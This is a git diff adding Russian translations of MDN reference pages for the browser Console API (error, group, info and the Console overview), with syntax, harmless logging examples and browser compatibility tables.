--- /dev/null
+++ b/files/ru/web/api/console/error/index.html
@@ -0,0 +1,170 @@
+---
+title: console.error()
+slug: Web/API/Console/error
+translation_of: Web/API/Console/error
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Выводит сообщение об ошибке в веб-консоль.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.error(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.error(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+console.exception(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.exception(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> <code>console.exception()</code> -- это псевдоним для <code>console.error()</code>; они функционально идентичны.</p>
+</div>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Список объектов JavaScript для вывода. Строковое представление каждого из этих объектов объединяются в указанном порядке и выводятся.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Строка JavaScript, содержащая 0 или более <a href="/ru/docs/Web/API/console#Using_string_substitutions">подстановочных символов</a> для замены.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Объекты JavaScript, с помощью которых произойдёт замена символов в msg. Это предоставляет дополнительный контроль над форматом вывода.</dd>
+</dl>
+
+<p>Смотрите раздел <a href="/en-US/docs/Web/API/console#Outputting_text_to_the_console">Вывод текста в консоль</a> в документации {{domxref("console")}} для подробностей.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#error", "console.error()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Маски подстановки</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Псевдоним console.exception</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("28.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Доступно в Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поодержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Маски подстановки</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Псевдоним console.exception</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("28.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Доступно в Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console#errors_and_warnings">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/group/index.html b/files/ru/web/api/console/group/index.html
new file mode 100644
index 0000000000..91817d2671
--- /dev/null
+++ b/files/ru/web/api/console/group/index.html
@@ -0,0 +1,147 @@
+---
+title: Console.group()
+slug: Web/API/Console/group
+translation_of: Web/API/Console/group
+---
+<div>{{APIRef("Console API")}}</div>
+
+<div>Создает новую группу сообщений в <a href="/en-US/docs/Tools/Web_Console">веб-консоли</a>. После вызова последующие сообщения, выводимые в консоль, будут иметь дополнительный уровень отступа, до тех пор пока не будет вызван метод {{domxref("console.groupEnd()")}}.</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.group([label]);
+</pre>
+
+<h2 id="Аргументы">Аргументы</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Опциональный заголовок группы. (Протестировано в Chrome 59). Не работает с <code>console.groupEnd()</code>.</dd>
+</dl>
+
+<p>{{h3_gecko_minversion("Использование в веб-консоли", "9.0")}}</p>
+
+<p>Использование групп помогает упорядочить вывод в консоль благодаря визуальной группировке связанных сообщений. Чтобы начать новый блок нужно вызвать <code>console.group()</code>. Метод <code>console.groupCollapsed()</code> работает аналогичным образом, но выведенная группа будет свернута до тех пор, пока не будет развернута по клику.</p>
+
+<p><strong>Примечание:</strong>  Начиная с 9 по 51 версию Gecko, метод <code>groupCollapsed()</code> работал как метод <code>group()</code>. Свернутые группы поддерживаются с версии Gecko 52. См. {{bug("1088360")}}.</p>
+
+<p>Чтобы прекратить вывод в группу, требуется вызвать <code>console.groupEnd()</code>. К примеру, следующий код:</p>
+
+<pre class="brush: js">console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.log("Back to the outer level");
+</pre>
+
+<p>выведет следующий результат:</p>
+
+<p><img alt="A screenshot of messages nested in the console output." src="/@api/deki/files/6082/=nesting.png"></p>
+
+<p>Для дополнительной информации смотрите <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">Использование групп в консоли</a>.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#group", "console.group()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Доступно в Web Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Доступно в Web Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Реализовано в <a href="http://trac.webkit.org/changeset/35421">http://trac.webkit.org/changeset/35421</a>.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/index.html b/files/ru/web/api/console/index.html
new file mode 100644
index 0000000000..f2b4a069b7
--- /dev/null
+++ b/files/ru/web/api/console/index.html
@@ -0,0 +1,261 @@
+---
+title: Console
+slug: Web/API/Console
+tags:
+  - API
+  - DOM
+  - NeedsCompatTable
+  - Reference
+  - Référence(2)
+  - Веб-консоль
+  - Отладка
+  - Справочник по DOM Gecko
+translation_of: Web/API/Console
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Объект <strong>Сonsole</strong> служит для доступа к средствам отладки браузера (например, <a href="/ru/docs/Tools/Web_Console">Web Console (Веб-консоль)</a> в Firefox). Работа с ним отличается в разных браузерах, но эти методы и свойства по факту поддерживаются всеми браузерами.</p>
+
+<p>Доступ к <strong>Сonsole </strong>можно получить через свойство глобального объекта, то есть: {{domxref("Window")}} в браузере (в JavaScript), {{domxref("WorkerGlobalScope")}} — в <code>workers </code>это специальный способ доступа через свойство <code>console</code>. Он известен как {{domxref("Window.console")}}, и на него ссылаются для простоты так: "<code>console</code>".</p>
+
+<pre class="brush: js">console.log("Failed to open the specified link")</pre>
+
+<p>Ниже описаны <a href="#Methods">методы</a>, доступные в объекте Console и приведены несколько примеров их <a href="#Usage">использования</a>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Console.assert()")}}</dt>
+ <dd>Выводит в консоль (имеется ввиду веб-консоль) сообщение и стек вызова метода, если первый аргумент <code>false</code>.</dd>
+ <dt>{{domxref("Console.clear()")}}</dt>
+ <dd>Очистка консоли.</dd>
+ <dt>{{domxref("Console.count()")}}</dt>
+ <dd>Выводит количество вызовов метода с определенной меткой (передаётся в параметре метода)</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Console.countReset()")}}</dt>
+ <dd>Обнуляет значение счетчика с заданным значением.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Console.debug()")}}</dt>
+ <dd>Синоним для <code>log()</code></dd>
+ <dt>{{domxref("Console.dir()")}} {{Non-standard_inline}}</dt>
+ <dd>Отображает интерактивный список свойств указанного объекта JavaScript. Этот список позволит вам посмотреть дочерние объекты и их свойства.</dd>
+ <dt>{{domxref("Console.dirxml()")}} {{Non-standard_inline}}</dt>
+ <dd>
+ <p>Отображает представление указанного объекта в XML/HTML-виде, если это возможно. Если нет - в виде JavaScript-объекта (как в виде "console.dir()").</p>
+ </dd>
+ <dt>{{domxref("Console.error()")}}</dt>
+ <dd>Выводит сообщение об ошибке. Для форматирования вы можете использовать <a href="/ru/docs/Web/API/console#Using_string_substitutions">подстановочные символы (маски)</a> с дополнительными параметрами.</dd>
+ <dt>{{domxref("Console._exception()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Синоним для <code>error();</code></dd>
+ <dt>{{domxref("Console.group()")}}</dt>
+ <dd>Создаёт новую <a href="/ru/docs/Web/API/console#Using_groups_in_the_console">группировку</a> сообщений, сдвигая все следующие выводимые строки вправо на один уровень. Для завершения <a href="/ru/docs/Web/API/console#Using_groups_in_the_console">группы </a>вызовите <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupCollapsed()")}}</dt>
+ <dd>Создаёт новую <a href="/ru/docs/Web/API/console#Using_groups_in_the_console">группировку </a>сообщений, сдвигая все следующие сообщения вправо на один уровень; в отличие от <code>group()</code> вывод происходи в свёрнутую <a href="/ru/docs/Web/API/console#Using_groups_in_the_console">группу</a>, требующую раскрыть её вручную по кнопке. Для завершения <a href="/ru/docs/Web/API/console#Using_groups_in_the_console">группы </a>вызовите <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupEnd()")}}</dt>
+ <dd>Выход из текущей <a href="/ru/docs/Web/API/console#Using_groups_in_the_console">группы</a>.</dd>
+ <dt>{{domxref("Console.info()")}}</dt>
+ <dd>Информационное сообщение. Для форматирования вы можете использовать <a href="/ru/docs/Web/API/console#Using_string_substitutions">подстановочные символы (маски)</a> с дополнительными параметрами.</dd>
+ <dt>{{domxref("Console.log()")}}</dt>
+ <dd>Общий метод вывода информации. Для форматирования вы можете использовать <a href="/ru/docs/Web/API/console#Using_string_substitutions">подстановочные символы (маски)</a> с дополнительными параметрами.</dd>
+ <dt>{{domxref("Console.profile()")}} {{Non-standard_inline}}</dt>
+ <dd>Запускает профайлер, встроенный в браузер (например, <a href="/ru/docs/Tools/Производительность">Firefox performance tool</a>). Вы можете указать метку профиля (по желанию).</dd>
+ <dt>{{domxref("Console.profileEnd()")}} {{Non-standard_inline}}</dt>
+ <dd>Останавливает профайлер.Вы можете посмотреть результат в инструментах анализа производительности браузера (например, <a href="/ru/docs/Tools/Производительность">Firefox performance tool</a>).</dd>
+ <dt>{{domxref("Console.table()")}}</dt>
+ <dd>Отображает табличные данные в виде таблицы.</dd>
+ <dt>{{domxref("Console.time()")}}</dt>
+ <dd>Запускает <a href="/ru/docs/Web/API/console#Timers">таймер</a> с именем из переданного параметра. Можно запустить одновременно до 10,000 таймеров на странице.</dd>
+ <dt>{{domxref("Console.timeEnd()")}}</dt>
+ <dd>Останавливает указанный <a href="/ru/docs/Web/API/console#Timers">таймер</a> и записывает в лог, сколько прошло секунд от его старта.</dd>
+ <dt>{{domxref("Console.timeStamp()")}} {{Non-standard_inline}}</dt>
+ <dd>Ставит маркер в браузерном инструменте измерения производительности <a href="https://developer.chrome.com/devtools/docs/timeline">Timeline</a> или <a href="/ru/docs/Tools/Производительность/Waterfall">Waterfall</a>.</dd>
+ <dt>{{domxref("Console.trace()")}}</dt>
+ <dd>Вывод <a href="/ru/docs/Web/API/console#Stack_traces">трассировки стека</a>.</dd>
+ <dt>{{domxref("Console.warn()")}}</dt>
+ <dd>Выводит предупреждающее сообщение. Для форматирования вы можете использовать <a href="/ru/docs/Web/API/console#Using_string_substitutions">подстановочные символы (маски)</a> с дополнительными параметрами.</dd>
+</dl>
+
+
+<h2 id="Usage" name="Usage">Использование</h2>
+
+<h3 id="Outputting_text_to_the_console" name="Outputting_text_to_the_console"><a id="Outputting_text_to_the_console" name="Outputting_text_to_the_console">Вывод текста в консоль</a></h3>
+
+<p>Чаще всего Консоль используется для вывода строк текста и других типов данных. Существует четыре категории вывода, которые вы можете создавать, используя функции {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, {{domxref("console.error()")}}. Их вывод стилизован по-разному, и вы можете использовать фильтры, предоставляемые браузером, чтобы видеть только интересующие вас вещи.</p>
+
+<p>Есть два пути использования функций вывода; можно просто передать список объектов, чьё строковое представление сольётся в одну строку, после чего выведется в консоль, или вы можете использовать строку с подстановочными символами и списком объектов-параметров для подстановки в них.</p>
+
+<h4 id="Вывод_одного_объекта">Вывод одного объекта</h4>
+
+<p>Простейший способ для вывода одного объекта:</p>
+
+<pre class="brush: js">var someObject = { str: "Some text", id: 5 };
+console.log(someObject);
+</pre>
+
+<p>Вывод будет таким:</p>
+
+<pre>[09:27:13.475] ({str:"Some text", id:5})</pre>
+
+<h4 id="Вывод_нескольких_объектов">Вывод нескольких объектов</h4>
+
+<p>Вы можете выводить несколько объектов, просто перечисляя их в вызываемой функции:</p>
+
+<pre class="brush: js">var car = "Dodge Charger";
+var someObject = {str:"Some text", id:5};
+console.info("My first car was a", car, ". The object is: ", someObject);</pre>
+
+<p>Вывод будет таким:</p>
+
+<pre>[09:28:22.711] My first car was a Dodge Charger . The object is:  ({str:"Some text", id:5})
+</pre>
+
+<h4 id="Преобразование_строк_с_использованием_масок"><a id="Using_string_substitutions" name="Using_string_substitutions">Преобразование строк с использованием масок</a></h4>
+
+<p>Gecko 9.0 {{geckoRelease("9.0")}} ввёл поддержку подстановочных символов (масок). При передаче строки одному из методов вы можете использовать следующие символы:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Подстановочный символ</td>
+   <td class="header">Описание</td>
+  </tr>
+  <tr>
+   <td>%o или %O</td>
+   <td>Выводит ссылку на JavaScript-объект. Нажатие на ссылку приведёт к открытию инспектора кода.</td>
+  </tr>
+  <tr>
+   <td>%d или %i</td>
+   <td>Выведет целое число. Поддерживается форматирование, например, console.log("АБВГД %.2d", 1.1) выведет число как две значащих цифры с лидирующим нулём: АБВГД 01</td>
+  </tr>
+  <tr>
+   <td>%s</td>
+   <td>Выводит строку.</td>
+  </tr>
+  <tr>
+   <td>%f</td>
+   <td>Выводит число с плавающей точкой. Поддерживается форматирование, например, console.log("АБВГД %.2f", 1.1) выведет число до двух знаков после запятой: АБВГД 1.10</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Каждая из масок выбирает следующий аргумент из списка параметров. Пример:</p>
+
+<pre>for (var i=0; i&lt;5; i++) {
+  console.log("Hello, %s. You've called me %d times.", "Bob", i+1);
+}
+</pre>
+
+<p>Вывод будет таким:</p>
+
+<pre>[13:14:13.481] Hello, Bob. You've called me 1 times.
+[13:14:13.483] Hello, Bob. You've called me 2 times.
+[13:14:13.485] Hello, Bob. You've called me 3 times.
+[13:14:13.487] Hello, Bob. You've called me 4 times.
+[13:14:13.488] Hello, Bob. You've called me 5 times.
+</pre>
+
+<h4 id="Стилизация_вывода_консоли">Стилизация вывода консоли</h4>
+
+<p>Можно  использовать директиву <code>"%c"</code> для применения стилей CSS при выводе в консоль. Часть текста до директивы не затрагивается стилем, а часть после - будет стилизована:</p>
+
+<pre class="brush: js">console.log("This is %cMy stylish message", "color: yellow; font-style: italic; background-color: blue; padding: 2px;");</pre>
+
+<div><img alt="" src="https://mdn.mozillademos.org/files/12527/CSS-styling.png" style="display: block; margin: 0 auto;"></div>
+
+<div class="note">
+<p><strong>Note</strong>: Поддерживается довольно много свойств стилей CSS; но вам необходимо поэкспериментировать и посмотреть, что окажется более полезным.</p>
+</div>
+
+<div>{{h3_gecko_minversion("Using groups in the console", "9.0")}}</div>
+
+<p>Вы можете использовать вложенные группы для организации вывода, визуально комбинируя связанный материал. Для создания вложенного блока вызовите <code>console.group()</code>. Метод <code>console.groupCollapsed()</code> похожий, но создаёт новый блок свёрнутым, что потребует нажать на кнопку, для своего раскрытия для чтения.</p>
+
+<div class="note"><strong>Note:</strong> Свёрнутые группы не поддерживаются пока в Gecko; в настоящее время <code>метод groupCollapsed()</code> работает так же как и <code>group()</code>.</div>
+
+<p>Для выхода из текущей группы просто вызовите <code>console.groupEnd()</code>. Пример:</p>
+
+<pre class="brush: js">console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.debug("Back to the outer level");
+</pre>
+
+<p>Вывод будет таким:</p>
+
+<p><img alt="nesting.png" class="default internal" src="/@api/deki/files/6082/=nesting.png"></p>
+
+<p>{{h3_gecko_minversion("Timers", "10.0")}}</p>
+
+<p>Для расчета длительности определённых операций в Gecko 10 введена поддержка таймеров в объекте <code>console</code>. Для запуска таймера вызовите функцию <code>console.time</code><code>(),</code> при этом в качестве параметра передайте название таймера. Для остановки таймера и для получения прошедшего времени в миллисекундах вызовите <code>console.timeEnd()</code>, передав в качестве параметра имя таймера. На странице можно запустить до 10000 таймеров одновременно.</p>
+
+<p>Рассмотрим пример:</p>
+
+<pre class="brush: js">console.time("answer time");
+alert("Click to continue");
+console.timeEnd("answer time");
+</pre>
+
+<p>этот код запишет в веб-консоль время необходимое пользователю для того, чтобы закрыть окно <code>alert</code>:</p>
+
+<p><img alt="timerresult.png" class="default internal" src="/@api/deki/files/6084/=timerresult.png"></p>
+
+<p>Заметьте, что имя таймера отображено и при старте таймера и при его остановке.</p>
+
+<div class="note"><strong>Заметьте:</strong> Это важно: если вы используете таймер для записи таймингов сетевого трафика, то таймер отобразит общее время для операции, в то время как время, отображаемое в панели "Сеть" это только время, требуемое для заголовка. Если у вас включено логирование времени тела ответа, то время ответа для заголовка и для тела должно соответствовать времени, которое вы у видите в консоли.</div>
+
+<h3 id="Трассировка_стека_вызова">Трассировка стека вызова</h3>
+
+<p>Консоль также поддерживает вывод трассировки стека; она покажет вам весь путь вызовов функций, пройденный до момента, когда вы вызвали {{domxref("console.trace()")}}. Например, такой код:</p>
+
+<pre>foo();
+
+function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+</pre>
+
+<p>Вывод в консоль будет похож на этот:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7167/api-trace2.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Замечания">Замечания</h2>
+
+<ul>
+ <li>По крайней мере в Firefox, если страница определяет свой объект <code>console</code>, то этот объект переопределяет объект <code>console</code>, встроенный в Firefox.</li>
+ <li>До {{Gecko("12.0")}}, методы объекта <code>console</code> работали только, если открыта панель "Веб-консоль" (Web Console). Начиная с {{Gecko("12.0")}}, вывод кэшируется до тех пор, пока панель Веб-консоль не откроется, и сразу отобразится в ней.</li>
+ <li>Стоит отметить, что встроенный в Firefox объект <code>console</code> совместим с таким же объектом, предоставляемым плагином <a class="external" href="http://getfirebug.com/" title="http://getfirebug.com/">Firebug</a>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Tools" title="Tools">Tools</a></li>
+ <li><a href="/ru/docs/Tools/Web_Console" title="Web Console">Веб-консоль</a> - как Веб-консоль в Firefox обрабатывает вызовы API-консоли</li>
+ <li><a href="/ru/docs/Tools/Remote_Debugging">Удалённая отладка </a>- как посмотреть вывод в консоль, когда цель отладки находится на мобильном устройстве</li>
+ <li><a href="/ru/Firefox_OS/Using_the_App_Manager">Отладка приложений в Firefox OS</a> - использование Менеджера приложений для отладки приложений, запущенных на Firefox OS</li>
+ <li><a href="/ru/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging" title="/ru/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a> - как сделать логирование на устройствах на Firefox OS</li>
+</ul>
+
+<h3 id="Реализации_в_браузерах">Реализации в браузерах</h3>
+
+<ul>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Google Chrome DevTools</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug</a></li>
+ <li><a href="http://msdn.microsoft.com/ru/library/hh772173(v=vs.85).aspx">Internet Explorer</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari</a></li>
+</ul>
diff --git a/files/ru/web/api/console/info/index.html b/files/ru/web/api/console/info/index.html
new file mode 100644
index 0000000000..177715ed03
--- /dev/null
+++ b/files/ru/web/api/console/info/index.html
@@ -0,0 +1,157 @@
+---
+title: Console.info()
+slug: Web/API/Console/info
+tags:
+  - Debugging
+  - Web Development
+translation_of: Web/API/Console/info
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Выводит сообщения, содержащие некоторую информацию, в Веб-консоль.  В Firefox и Chrome, рядом с этими элементами в консоли отображается маленькая иконка "i".</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.info(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.info(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Список объектов JavaScript, для вывода. Строковое представление каждого из них добавляется в указанном порядке вывода.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Строка, содержащая 0 или более масок для замены.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Объекты JavaScript, которыми заменятся маски в строке <code>msg</code>. Так можно дополнительно контролировать формат вывода. Например, <code>console.info('Output %f', 234); </code>выведет в консоль: <code>Output 234.000000</code></dd>
+</dl>
+
+<p>Смотрите <a href="/ru/docs/Web/API/console#Outputting_text_to_the_console">Вывод текста в консоль</a> в документации {{domxref("console")}} для получения подробностей.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consoleinfoobject--object-", "console.info()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Заменяемые маски</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Информационная иконка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Доступно в Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
